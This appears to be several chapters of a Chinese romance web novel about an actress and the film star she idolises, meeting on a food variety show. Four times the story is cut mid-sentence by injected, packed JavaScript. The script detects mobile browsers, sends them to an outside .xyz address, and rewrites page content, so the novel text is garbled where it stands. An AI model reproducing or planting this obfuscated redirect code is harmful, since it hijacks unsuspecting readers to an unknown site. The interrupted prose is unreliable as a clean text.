她怎么能因为不好意思，而放弃这么好的和男神单独相处的机会呢！要是错过，都不知道还会不会有下次了！ “没事！莫老师，我还不困，要不咱们出去看星星吧。” 莫殊愣了一下，然后笑了起来，眼底的温柔都漫了出来，连带着眉骨都染上几分缱绻的暖意。 * 晚风带着夏夜的凉意，轻轻拂过露台的栏杆。 莫殊和涂韵两个人倚在栏杆上，仰着头，看着星星。 “我说的没错吧，今天星星很好看。” 涂韵点了点头，目光根本没有办法移开夜空。漫天的星星闪烁着星光，像一条缀着碎钻的纱巾，温柔地在墨蓝色的天空铺开。“小时候经常和爷爷奶奶在弄堂里乘凉，摇着扇子看星星。长大之后，才发现好久没有看见星星了。” 莫殊侧过头，看向一旁的涂韵，月光在她睫毛上镀了一层柔光，眼眸就像星星一般亮，“涂韵，你今天说，你是在英国留学？” “啊，对的。”涂韵犹豫了一下，点了点头，没懂莫殊怎么突然又提到了留学的事。今天中午，不是还…… “你不是说你那时都拿到了事务所的实习机会了吗？怎么突然就回国拍戏了？”莫殊又连忙补充道，“我只是好奇，毕竟跳跃性很大。要是不方便说的话，就略过我这个问题吧。” 这……还真的不方便说。 涂韵咬了咬嘴唇，不自觉地抓紧了栏杆，总不能实话实说：莫殊，我是你的忠实粉丝！我馋你身子好久了！因为我闺蜜和我说，回国进娱乐圈能见到你，所以我脑子一热吭呲吭呲就买了张机票想着回来认识你吧？ 涂韵嘿嘿笑了一下，“确实跳跃性有点大……就刚好有这个机会，就回来了嘛。” “哦，这样啊……回来就好。那……涂韵，你有喜欢的人吗？” “嗯？”涂韵整个人呆愣在原地，心里泛起了嘀咕。 莫殊这是什么意思？难道她猜的是真的？莫殊真的对她有意思？！ 天，要不要直接告诉莫殊，她喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490339|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢他啊？不管了，勇敢的人先享受世界！ 涂韵眼一闭心一横，张口说道：“莫老师，我……” “涂韵，我有件事……” 没想到两个人同时开口。 莫殊无措地摩挲了下手臂：“涂韵，你先说吧。” “莫老师，你先说吧。” “好，那我就先说了。”莫殊的声音比平时低了几分，带着他自己都未察觉的紧绷，“有件事，我想了很久，还是觉得应该告诉你。” 他深吸一口气，目光落在涂韵被风吹乱的额头碎发上，喉结轻轻滚动：“我其实心里面一直有一个女孩子，我从高中的时候就喜欢她了。” 空气有瞬间的凝滞，涂韵脸上的笑容僵了半秒，随即又舒展开。 只是那笑意没抵达到眼底，反而添了几分刻意的轻快：“哦？是吗？能被莫老师喜欢，一定是个很好的女孩吧。” “对，她确实很好。”莫殊转头看向涂韵，眼神里满是认真，“这件事我从来没有在任何公开场合谈论过，但是我的心里面其实一直忘不了她。” 涂韵垂下眼睛，所以……莫殊大半夜的把她叫出来就是为了说这个事吗？是 是他看出来了她喜欢他，所以特地将这件从来没有告诉过任何人的事情告诉她，就是为了逼退她？让她不要再报这种心思了吗？ 所以……难怪莫殊在娱乐圈拍了几年的戏，从来不炒cp，从来没有任何绯闻，都是因为他心里面的这个女孩儿吗？ 涂韵苦笑了下，果然是她自作多情了，是她自己自我意识太过剩了，竟然误以为莫殊会喜欢她，会对一个只见过几面的小艺人有意思。 要是有意思，才是真的奇怪了吧。 苏小桃说的对，人果然不能脑子一热。 差点自己就要表白了，到时就真的成小丑了。 “莫老师，”涂韵突然出声，打断了莫殊的话，“我有些困了，我想先回去了。” “啊？涂韵，我还没有说完，你能不能……”，莫殊往前一步，试图抓住涂韵的手腕，却被她侧身避开。 和她说这些有的没的，到底是想干什么？是还要让她站在这里面带微笑听完他们两个的爱情故事吗？ 是想让她帮他出主意？还是想跟她发展些什么白月光和替身的故事？ “莫老师，不好意思，我真的困了。要不下次再说吧？” 涂韵一直低着头，莫殊只能看见她黑乎乎的脑袋顶，那句关键的话卡在舌尖一直说不出来。 都怪他，今天搅拌那个绿豆沙，一定很累了·。还有下午打碎糖罐时，涂韵也一定一直神经紧绷着。是他太过急躁了，这么晚还把她约出来，一点都没有为她考虑。 莫殊最后只说了句，“那……好吧，晚安。” 涂韵吸了吸鼻子，强忍着没让眼泪掉下来。她转身就走，丝毫没有等一等莫殊的意思，脚步快到像是在逃离。 莫殊站在原地，晚风吹过，那句没能说出口的真心被夜色渐渐的吞没。 只有天上的星星还在这里陪伴着他，莫殊低下头自嘲地笑了笑， 也许……她一点都不喜欢他吧，要不然怎么知道他要表白之后，就马上困了，要回去了呢？ 涂韵还是太善良了，她只是不想那么确切的说出拒绝来伤害他罢了。 涂韵回到房间，才发现她刚刚一直没有拿手机。手机孤零零地被遗留在床上。 手机屏幕一直亮着，原来是苏小桃给她发了好几条消息，都是在好奇她和莫殊的事情。 啊啊啊啊！烦死啦！ 涂韵当当当的打字：“我再也不要喜欢莫殊了！” 苏小桃发了三个问号过来，“姐姐呀，你这个变心也变得太快了吧。” “莫殊刚刚和我说了，他有喜欢的人了。” “啊？不是吧？” 一想到自己还美滋滋的编造了半年自己和莫殊的爱情故事，涂韵就觉得自己像一个小丑一样。 她抱着自己的膝盖，蜷缩着在床上默默的哭泣。 谁说勇敢的人先享受世界？她还没来得及勇敢，她的爱情都还没有开始就要结束了。 8. 第8章 扎头发 第二天一早起床时，涂韵顶着两个肿肿的眼睛，吓了造型师姐姐一跳。 “涂老师，你这眼睛是没休息好？” 涂韵尴尬地笑笑，猛吸了一大口的冰美式，“对，昨晚睡觉前喝太多水了，水肿了。” 做好造型后，就要开始今天的拍摄了。上午是备餐，下午是做快闪市集。 因为涂韵和莫殊这组的绿豆糕做起来比较费时间，所以用的就是昨天他们已经做好并且冷冻好了的绿豆糕，而陈皮红豆沙则需要在上午煮好。 正当导演组准备将他们两个送去陈叔糖水店时，涂韵突然说道：“导演，红豆沙备餐要做的事情比较少，主要还是煮，我觉得莫老师应该一个人就够了。要不然让莫老师去做红豆沙，我去装饰一下下午的摊位？” “啊，也行。”导演转头看向莫殊，“莫老师，你觉得呢？” 莫殊面上没有表情变化，但实际上大拇指的指甲一直抠着自己的手心，都快抠出月牙印了，“我没有什么意见。” * 快闪市集的位置定在了沪川老街中心那一块空地上。 涂韵到达那里的时候，已经有一些小摊贩到了，正把自己卖的东西或者食材原料给摆出来准备开摊。有的卖的都是手工艺品，比如木雕，手串，发夹等等。 还有一些是卖吃的，冰豆花、烤鱿鱼、西瓜汁…… 见到涂韵过来，他们都认了出来，激动地围过来打招呼。要知道涂韵拍的那部职场剧可是席卷了八点档的收视率，不是粉丝也有很多人会追剧。 涂韵笑着跟他们合影，便开始琢磨着怎么弄自己这组的小摊儿。 导演组只提供了一个摆摊的地方和一个摆摊用的推车，推车都是统一的，上面什么装饰都没有。 一个推的小车，上面什么装饰都没有。还得自己想办法装饰。 “这名字得醒目，让人能远远瞧见就知道卖的是什么。”涂韵边琢磨着边蹲在大榕树下。 云糯居名字响亮，可以写出来。涂韵找节目组要了卡纸，在上面涂涂写写。 彩色的卡纸上用黑色的马克笔写着“云糯居绿豆糕”和“手作陈皮红豆沙”。 做到一半的时候，沈晨也过来了。 沈晨和李子珺这组做的食物是馄饨和生煎包，馄饨和生煎包要事先包好，他早上和珺姐起了个大早，分工合作，也包的差不多了。 现在是沈晨先过来，把下馄饨的锅还有煎生煎包的设备给拿过来，他们要现点现做的，比较麻烦。 沈晨见涂韵在这画画，这才想起摆摊还什么东西都没有呢。 导演组给他们每组发了三百块，让去批发市场把需要的东西给备齐了。 虽说已近中午，但批发市场仍然人声鼎沸，推车的商贩、挑货的主妇挤在窄窄的过道里，空气中飘着新鲜水果的甜香和纸箱的纸浆味。 涂韵和沈晨两个人有说有笑，沿着摊位一个个看过去。 最缺的应该是包装盒和塑料袋了。 刚好往前走了几步，就有一家卖塑料盒的摊位。 往前走几步，一家卖塑料盒的摊位吸引了她。透明的小方盒摞得老高，盖子上还带着浅浅的花边。 “这盒子多少钱？” “批发价，一块钱一个，拿二十个以上算八毛。” 涂韵和沈晨便都要了，还买了些油纸。这种厚油纸正适合垫在盒子里装生煎包或者绿豆糕，十块钱能买一大卷。 买完之后见还剩下钱，两个人便又挑挑拣拣，买了些装饰用的小灯、桌布什么的。 两个人手里拿着两大袋东西，拎在手里沉甸甸的。 沈晨说道：“看节目的时候，觉得快闪市集卖卖东西什么的也不难，没想到真的到了这儿才发现什么东西都要自己想自己买。” 涂韵点点头，“是啊，不止做美食，摆摊也不是件容易的事儿。” 两个人从市场回来的时候，莫殊和李子珺也也到地方了，正在将上午准备好的食材从车上搬下来。 莫殊瞧见涂韵和沈晨两个人有说有笑的提着一大包东西走过来，苦笑了一下，低下头专心的搬那一大桶红豆沙。 两个摊位就设置成对面而望，东西都摆好了，装饰也摆好了。 眼瞧着快闪市集的时间马上就要开始了，涂韵也没闲着。 她把从市场买来的油纸裁成大小合适的方块，铺在透明小方盒里，再将绿豆糕一块块摆进去，黄绿色的糕点衬着米白的油纸，瞬间精致了不少。这样提前准备好，到时有人来买就能更快些。 莫殊站在旁边，见着涂韵在给糕点装盘，便递上一块梅花形状的绿豆糕，“也放块这个吧，每个盒子里都放一块樱花和梅花的。” 涂韵头也没抬地回了句，“味道都是一样的，应该没关系吧？” 莫殊：“不是。这样一盒就都有我们两个亲手做的了，这是我们的……‘春樱寒梅’组合绿豆糕。” 经过昨天的对话之后，涂韵已经不知道该怎么面对莫殊了。虽然莫殊可能不知道她对他的喜欢，可她就是感觉十分尴尬。 现在听到莫殊的这句话之后，她总感觉莫殊话里有其他的意思，但又害怕是自己多想了，便只回答了句好，照着莫殊的意思在每个礼盒里都撞上一块樱花和梅花糕。 小摊终于收拾妥当，涂韵退后两步，看着小摊格子桌布上摆得方方正正的糕点盒，旁边一大桶陈皮红豆沙，满意地笑了起来。 而对面的李子珺和沈晨也已经戴上了围裙，随时为小馄饨和生煎包待命。 下午1点，快闪市集正式开始。 午后的阳光刚掠过街角的树梢，快闪集市就已经像被撒了把酵母的面团，在短短半个钟头里“发”得满满当当。 整个快闪市集人声鼎沸，现场的空气都夹杂着烤肠香气、鲜花甜香，还有各种各样食物的味道，就像一个小型的美食广场。 人非常的多，如果不是导演组管控，估计走都走不动道儿了。 涂韵举着从批发市场上买来的小喇叭，大声呼喊着：“云糯居祖传手法做的绿豆糕！还有刚出炉的红豆沙——” 有不少听说《寻味季》拍摄的粉丝也来了，奔涌着来找他们的摊位。 “啊啊啊啊——莫殊，我是你的粉丝！你那部《深夜食堂》演的太好啦！” “涂韵！这绿豆糕真的是你们做的吗？” “莫老师，卖多少盒可以合照啊？” “涂韵，这红豆沙是热的吗？多少钱一碗啊？给我来一碗……” “……” 莫殊忙不迭地揭开保温盖，蒸腾的热气冒出来，带出陈皮特殊的香气。 两个人又要负责舀红豆沙，又要负责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他赶紧定了定神，把散落的发丝一点点拢到一起，尽量让动作显得自然些，表情也要自然些。他在心里告诉自己，不要想太多，就当做现在在拍戏。对，拍戏。现在还有摄像头拍着呢！ 可头发好像故意跟他作对，总有几缕不听话地散开，他不得不凑近了些，鼻尖几乎要碰到她的发顶。涂韵的头发很软，像是上好的绸缎一样在他的手指间滑过。还带着淡淡的柠檬清香，应该是她用的洗发水味道。 莫殊的喉结轻轻滚动了一下，手指在发尾处轻轻一绕，皮筋“咔嗒”两声缠紧，一个不算完美却足够利落的马尾就扎好了。 他收回手时，指尖不经意蹭过她的后颈，像羽毛拂过似的轻痒，痒得涂韵脊背微微一麻，莫殊立刻像被烫到似的收回手，耳根悄悄地泛着红——刚才碰到她皮肤的触感还留在指尖，软软的，暖暖的，让他不敢抬头看她的眼睛。 “谢谢莫老师，”涂韵摸了摸重新束好的头发，赶紧将手边盛好的红豆沙递给还在等待着的顾客。递过去时才发现，自己的手指还在微微发颤。 两个人都低下头，继续忙活着手里的工作，好像刚刚发生的事情都不存在一样。当然，也许只是在假装忙活着，来掩饰尴尬。 明明扎头发只用了不到十秒钟，但莫殊觉得好像过了一个世纪那样久。 他想，他会一辈子记得的。 9. 第9章 不写了 从被莫殊扎头发之后，涂韵就总感觉自己心不在焉的，老是会回忆起莫殊的手指拂过她的头发，他的后颈时的那个感觉，那种战栗害羞不自然的感觉。 她想她完了，不就帮忙扎个马尾吗，多么纯情的互动。她又不是没拍过戏，拍戏时和男主的互动比这犹过之而无不及，怎么偏偏碰上莫殊这感觉就完全不同呢？ 涂韵强颜欢笑着，没有表现出任何不对的情绪，依旧努力继续着快闪市集的拍摄。 下午五点，市集结束，连涂韵自己都不知道到底是什么结束的，只知道莫殊好像约她了，问她要不要结束后一起吃个饭；珺姐拉着她，问她下一部戏确定了没有；沈晨举着手机，吵着要加她微信。还有导演一直夸她和莫殊，说两个人都是第一次上综艺，但是却配合默契，表现很好。 涂韵笑着一一回应着，顺便拒绝了莫殊的约饭邀请，等她再次反应过来时，已经坐在了苏小桃的车上。 苏小桃边开着车，嘴上还不忘八卦着：“快和我说说，昨天晚上你和莫殊到底怎么回事？” “苏小桃！你怎么这么八卦啊！还特意开着车过来接我，就是为了八卦是吧？” “怎么可能啊？”苏小桃干笑了两声，“送我艺人回家，不是我这个经纪人该做的事情吗？我还不知道你这个人吗？表面上嘻嘻哈哈，其实一到重要时刻就会宕机。我是怕拍摄结束后，你不知道怎么面对莫殊，所以特意来接你的。” “哎，也是，确实不知道该怎么面对，”涂韵叹了口气，望向窗外，“就我昨天和你说的那些呗，他告诉我他有喜欢的人了。” 苏小桃：“莫殊怎么特意找你说这个啊？” “你问我，我怎么知道啊？” 苏小桃眯起眼睛，瞅了一眼涂韵，“哟哟哟，火气怎么这么大呀？你是不是忘了，最开始你回国之前，你只是他那么多的粉丝中的其中一个。 莫殊他就在那里，你爱他，爱电影里的他，也爱你幻想中的他，单纯的慷慨的爱他。 莫殊他对你而言应该只是一只电子蝴蝶，你不应该因为你接触到了现实中的他，就幻想着他变成真的蝴蝶围绕着你这朵花转。你现在奢求的是不是有些多了？你现在也是娱乐圈里的人了，你应该明白这种心态很危险的。” “我去，苏小桃，你现在说话怎么这么有哲学了？”涂韵嘴里这么调笑着拍了苏小桃一下，但其实心里头一个咯噔。 她好像确实奢求得太过多了，明明她只是抱着离莫殊更近一点的心态回国的，她从来没有想过要越界。 涂韵看向车窗外，思绪又拉回了三年前，伦敦的一个雨天。 她在唐人街的音像店避雨，指尖无意间划过一排中文电影碟片。封面上的莫殊穿着洗得发白的衬衫，坐在老槐树下笑，眼神干净得像故乡夏天的阳光。 “莫殊？是出来的新人吗？”可能是因为碟片封面上莫殊的眼神格外的干净，涂韵掏出钱买了这张碟片。这部电影是莫殊的第一部电影，因为种种原因没有在国内上架，而是在国外上映，所以知道的人不是很多。 涂韵抱着碟片回到公寓，窗外还是阴雨绵绵。 她笨拙地调试好投影仪，当莫殊饰演的男主角开口说第一句中文时，涂韵的眼泪毫无预兆地掉了下来。电影里的故事很简单，讲一个小镇青年在城市打拼的迷茫与坚持。 莫殊很有天赋，他的表演非常自然，没有刻意的煽情，却像一个认识多年的朋友，把那些藏在心底的委屈和不甘，轻轻摊开在你面前。 涂韵抱着膝盖坐在地毯上，看着屏幕里的人哭，跟着屏幕里的人笑，那些在异国他乡积压了许久的情绪，终于找到了出口。 从那天起，莫殊的电影就成了她在异国他乡的慰藉。不仅是电影，涂韵开始疯狂地去找他的采访，还有边角料一样的物料。 是啊，在最开始喜欢莫殊的时候，她也从来没有在意过莫殊心里到底有没有喜欢的人啊。 这样想着，涂韵抠了抠扣在身上的安全带，郑重其事地下了结论：“我懂了，我这种心态转变绝对是我自己写小说写的。小说里，我把自己所有的憧憬都寄托在了莫殊身上。影响了我自己现实中的心态。” “刚好我的小说也完结了，以后不写了，每天码字累死了。” “苏小桃你说得对，与其在这里纠结有的没的。我还不如多拍戏多成长，努力成为思想独立经济自由的人。” 苏小桃透过后视镜瞧了眼涂韵一本正经的脸，甚至还握拳表决心。她忍不住笑道，“行啦，写不写小说都随你。你啊，以后遇到莫殊要正视自己的心态，他还是你的好前辈。” 眼瞧着涂韵从那莫须有的“失恋”里恢复正常，苏小桃补充道：“对了，你爸好像有事找你，我说你在拍摄呢。你要是空了，给他打个电话。” 回到家后，涂韵一脚甩开高跟鞋，换上拖鞋，哒哒哒地走到床上，一躺。 哎，还是自己家里舒服！想坐就坐，想躺就躺，不用紧绷着在乎形象。 涂韵举起手机，在通讯录里找到那个备注为“爸爸”的号码，刚一点拨打，那边立刻就接了。 “喂？爸，你找我什么事啊？” “哎哟，没啥事没啥事。我不是听说你和那个莫殊一起上节目了吗？特意来问问。” 烦死了，涂韵在床上翻了个身，怎么所有人都来问莫殊啊。不过也不怪她爸，她刚回国的时候，每天在家里有念叨着莫殊莫殊，弄得家里人都知道她是莫殊的小迷妹。 “你想问什么呀？就那样呗，”涂韵眼珠子一转，突然想起了什么，“对了，爸，不会是你把我弄进寻味记这个综艺的吧？” 涂爸爸听到这话，沪川话都急得飚出来了，“侬啥意思啦？哪能会是我啦？我听侬陈爷叔讲，侬跟莫殊一道进了云糯居，我吓了一跳，差点都要昏古七了。” “哦……真的不是你？那怎么这么巧？这节目又找了云糯居， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490341|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又找了莫殊，我还以为是你推荐的我嘞。” “哎呀，真的不是我。节目组之前联系云糯居，说要拍摄，这我是知道的，但我真没想到你和莫殊都上这期节目啦。”涂爸爸在那边开着玩笑，“要是我一个云糯居的小小老板有这么大能耐安排侬随便上综艺就好咯，我干脆直接投资我囡囡拍电影，到辰光侬拿个就勿是最佳新人了，直接拿影后！” 挂断电话后，涂韵想了又想，还是决定点开手机里的绿江江小说APP。 小说的界面下，已经有书迷问下一本书什么时候开。 涂韵深吸了一口气，其实嘴上说着不用再码字了多好多好，但其实她也早就习惯了每天挤时间出来在文档上敲敲打打。 她想起那个拍完戏还在熬夜码字的自己，刚开始小说无人问津，后来第一个“催更”评论出来时，她激动得在酒店房间里转圈，还半夜打电话给苏小桃炫耀；想起有次被莫殊粉丝摸到了小说评论区，恶意举报打-2分攻击，是殊途同归的cp粉们在评论区盖起“保护楼”，把恶意差评刷下去…… 她……也许早就不是只为了她自己在写故事了。 心里的不舍得层层叠叠地涌了上来，但她现在的心态确认已经没有办法再继续写下去了。 再这样写下去，她估计自己都要信了。 【殊途同归（作者）：谢谢大家，暂时不开下一本了，不想再写莫殊和涂韵的故事了。】 ** 莫殊的指尖在手机屏幕上轻轻摩挲，相册里那张照片被他放大到有些模糊，却还是看了一遍又一遍。 坐在一边的陈霖好奇地问道：“莫哥，你在看什么呢？” 莫殊连忙摁暗屏幕，摇摇头，“没什么。” 手机里的照片是快闪市集的时候，他去卫生间。上完回来后，看见涂韵正在摊位那舀红豆沙。嘴角带笑，眼睛认真地看向面前的粉丝，亮晶晶的。 头顶的阳光透过树荫，落在涂韵纤长的睫毛上，投下一小片阴影。 心跳突然有些失序，他鬼使神差地拿出手机，调至静音，镜头悄悄对准她的方向。 因为是偷拍，照片拍得不算完美，但莫殊就是觉得很好看——恰到好处地捕捉到了涂韵认真时的模样。 虽然陈霖就坐在边上，但他还是忍不住隔一会儿就点开，盯着照片里的她发呆。 以前，他只有一部能打电话的被淘汰下来的手机，那个时候他没有办法把涂韵拍下来。再后来，涂韵不见了，他也变成了大明星。涂韵的样子变得朦胧，悄悄地藏进了他的记忆里。 他也没有想到会再次见到涂韵。 涂韵有了很多很多的照片，自拍照，他拍照，杂志照，或者是剧照，但只有这张照片，是他亲手为她拍下的。 莫殊轻轻叹了口气，握紧了手机，开口喊道：“陈霖。” “嗯？怎么了，莫哥？” “你……当时是怎么追你女朋友的？” 10. 第10章 删好友 陈霖说，追女孩，首先要让她知道他在追她，她是最特别的，和其他女孩不一样。还要多和她聊天，加深彼此印象，多多交流感情。 莫殊看着手里的微信界面，上次和涂韵的聊天记录，还停留在他这个冷冰冰的黑色头像说”我知道“三个字。 可是……他真的不知道要说些什么啊！ 那天晚上，他看完了《莫负清风与韵光》这本同人本的结局，被鼓励到了，还特意留言问了作者该不该去表白。 得到了作者肯定的回复后，他又做了十几分钟的心理建设，才鼓起勇气约涂韵出来。 结果……没想到，直接被涂韵给拒绝了。 现在要是再聊起那天晚上的事，是不是又太过尴尬了？ 莫殊想了想，决定还是用最保险的那三个字开启聊天话题——【M：在干嘛？】 * 房间里开着凉飕飕的空调，涂韵正躺在苏小桃家的沙发上摆烂。 两个人各躺在沙发的一边，各干各的事。 涂韵无聊地拿着遥控器在各个电视剧名字上划拉，犹豫着到底要看哪个平台出的新剧。 想到这，她就气，蹬了苏小桃屁股一下，“你能不能好好奋斗，给我去拉些资源？你瞧瞧，距离我上次进组已经几个月啦？” 苏小桃仰躺着，拿着手机一直敲敲敲，嘴里说着：“我这不是一直在用手机处理工作吗？我去给你问问，你之前试的那些戏，人定下来了没。” 话音刚落，手机铃声就响起来了。 苏小桃连忙坐起身，瞪大了眼睛。她冲着涂韵，用气声说道：“是朦朦姐！” 李朦朦——是圈里有名的制片人，负责的很多电视剧都火了。现在突然打电话过来，难道是之前试的戏有消息了？ 涂韵也吓得马上坐起，做手势让苏小桃快接。 只见苏小桃按了接通，手机听筒贴在耳边三十秒钟不到，全程只说了几个“嗯”字和“谢谢朦朦姐”，就挂断了电话。 涂韵挪动屁股，蹿到苏小桃旁边，”怎么了？说什么了？“ “好消息！天大的好消息！”苏小桃一把抱着涂韵，两个人从沙发滚到地毯，在地板上打了个滚，“朦朦姐说，璃月这个角色，定你了！下下周就正式开拍啦！” “璃月？是那部《烬染霜华》的仙侠剧吗！”涂韵的手指也在兴奋地微微发颤。 仙侠古偶一直都播的很好，长年霸占电视剧榜的前几名，而《烬染霜华》这部剧导演，制片人，编剧都在业内很有口碑，光看这阵容就很有爆的迹象。 涂韵没有演过这类型的电视剧，所以去剧组试戏的时候几乎把女角色都试了个遍，就连女主身边的丫鬟都没有放过。 而涂韵最喜欢的就是璃月这个角色，她是《烬染霜华》的女二号。女主这种成长型角色，涂韵演职场剧的时候也演过了，而璃月的人设故事则亦正亦邪更有张力。没想到……她竟然选上了这个角色！ 苏小桃拍着涂韵的背笑，“我就知道！咱们涂小韵的试镜片段，导演看了连连夸赞，拿不到角色才怪呢！” “这可是个好饼！咱们得庆祝！今个儿就涮火锅吧！”苏小桃点开手机买菜app，麻溜地选择着各种涮火锅的食材。 莫殊发来消息的时候，涂韵正在和苏小桃庆祝着。 鸳鸯锅在电磁炉上“咕嘟咕嘟”地冒泡，红油那边浮着辣椒和花椒，清汤锅里飘着葱段和枸杞，桌子上摆满了肥牛卷、虾滑、毛肚、蔬菜拼盘。 涂韵瞧见莫殊的消息提示，以为有什么事情，连忙点开微信一看，发现还是三个字——”在干嘛？“ 配上上面的”我知道“，还以为莫殊微信只会说三字诀呢。 涂韵也没想太多，放下筷子拍了张火锅咕隆冒泡的照片。 【大可爱韵：[照片.jpg]】 【大可爱韵：在吃火锅［撒花］】 已经是下午六七点了，外面的天已是灰蓝色，昏暗的房间里没有开灯。 莫殊就着那一点点的亮色，躺在床上，见涂韵回复了，连忙拿起手机。 看见被热腾腾的火锅塞满的照片，莫殊摸了摸有些扁了的肚子，他这才想起自己还没有吃晚饭。 涂韵和谁在吃火锅呢？ 莫殊点开照片，放大，寻找着对面那人的踪迹。 在看见照片的边缘露出的美甲之后，莫殊才微微松了一口气。尽管连对面是谁都不知道，但莫殊就是羡慕，格外地羡慕。 【M：是放纵餐吗还是有什么高兴的事庆祝？火锅好吃吗？】 涂韵咬了口刚煮好的撒尿牛肉丸，滚烫的肉汁从里面爆出。她一边烫得直喘气，一边急忙抽出纸巾去擦。 其中一滴汁水刚好喷在手机屏幕上的“庆祝”两字。 涂韵愣住了。如果换做是那天晚上之前的她，她也许会告诉莫殊，自己争取到了喜欢的角色。但换到现在，她觉得还是沉默为好。 尤其莫殊，怎么会突然找她呢？不会戏刚定了她，业内人就都知道了吧？ 涂韵擦了擦手，忽略掉了前面那个问题，噼里啪啦地开始打字。 【大可爱韵：好吃，撑死了。】 而在另外一边的莫殊看着屏幕上的回话又陷入了沉思，这个话题好像又继续不下去了。 他该接着说些什么好呢？说我也好饿？ 哎，不对？莫殊想起来，陈霖好像在十分钟前刚发个了他一个链接，叫什么高情商回复，题目是“不知道怎么和女孩子聊天？照着这个说就对了。” 里面好像有很多种情景回复，莫殊点开链接，在里面寻找着合适的回复语句。 莫殊的手指在页面上划动着，有了！ 页面上说，当女生说累死了或者饿死了，可以这样回复。 莫殊对照着页面，逐字逐句对着输入框敲字。 【M：不许死，我看120秒广告复活你。】 呃……涂韵看着这句话眉头蹙起，哭笑不得，这莫殊说的都是什么鬼啊？ 莫殊在她的印象里，明明是个羞涩，连和搭戏的女主角互动宣传都会脸红的人，怎么会说这么……油腻的话？ 苏小桃喝了一大口啤酒，抬头看见涂韵一直盯着手机，问道：“怎么了？涂韵，你怎么不吃了呢？在和谁聊天呢？” “是莫殊。” “什么？莫殊找你啦？他跟你说啥？给我瞧瞧！”苏小桃的八卦之心顿时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490342|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熊熊燃烧。 涂韵将手机屏幕往苏小桃面前一摆，“你看看。他这话，我该怎么接啊？” 苏小桃接过手机，“这还不简单，我帮你回了。” 【大可爱韵：我洗澡去了。】 莫殊又对着那聊天梗100句页面找来找去。 【M：跟我聊天很脏吗？？[屎]】 涂韵：？？ 苏小桃：？？ 两个人面面相觑，莫殊今天这怎么回事，跟中邪了一样。 苏小桃挠挠脑壳，突然像想起了什么，打开某红书，“你看，我就说他怎么回的怎么油腻？都是和网上学的什么撩妹话术。” 涂韵打了个酒嗝，一拍桌子，“他明明和我说他有喜欢的人了，他还给我发什么撩妹的这些东西。难道他平时都是这样和女生聊天的吗？” 涂韵甚至能想象出对方对着手机复制粘贴的样子，就好像自己变成了被各种套路计算出来的目标值。 苏小桃捏紧了手中的啤酒易拉罐，呲牙咧嘴地喊着：“莫老师不会根本就不是你想象中的那个样子吧？他……不会是个渣男吧？” “啊啊啊啊！我不相信莫殊是渣男！呜呜呜呜……他怎么可能是渣男啊……” 苏小桃和涂韵两个人本就喝了好几瓶啤酒，已经有些醉了。此刻你一言我一语地叽叽喳喳越说越激动，说到激动处，涂韵干脆直接抓起手机把莫殊的微信号删了。 然后一把趴在地毯上，昏睡起来。 * 莫殊等了快一个小时，都没有等到涂韵回复。 【M：洗完了吗？】 结果收到了一个大大的红色感叹号。 莫殊举着手机，去窗边站着，心里头满是疑惑。是没信号了吗？信息没发出去？还是手机出了什么问题？ 莫殊反复将屏幕按亮又按灭，捣鼓了半小时，他才发现……是涂韵把他删了。 怎么回事啊？他明明是按照陈霖发的教程学的啊。 他想不通是哪里出了错，他明明一字不落地连表情都照发了啊。 莫殊抿了抿唇，点开和陈霖的对话框。 【M：你今天发我的链接是什么？有用吗？】 【霖：什么啊？莫哥，我今天没发你链接啊？】 【霖：哎哟我去，不好意思啊！莫哥，你在我分享列表的第一个，我发错了。】 【霖：我本来是想发给我女朋友吐槽的，你说网上这些教人聊天的怎么这么坏啊？说是什么高情商回复，其实这些烂梗发出给女孩子，女孩子估计都想着马上拉黑删除。】 【M：……】 【霖：莫哥，你怎么了？发个省略号是什么意思啊？】 【M：我被你给害死了。】 莫殊懊恼地锤了锤自己的头，想再去添加涂韵为好友，可是指尖却在半空中停住了。 估计……涂韵也不会再同意好友申请了。 他好像都能想到涂韵删除好友时的表情了，好看的眉头皱着，小嘴抿着。 恐怕，他已经给涂韵留下了不好的印象了。 完蛋了，第一步就搞砸了。 现在要怎样才能让涂韵知道他对她，是不一样的啊？ 11. 第11章 互关了 窗帘没拉严，一道刺目的阳光恰好斜斜地打在眼皮上。 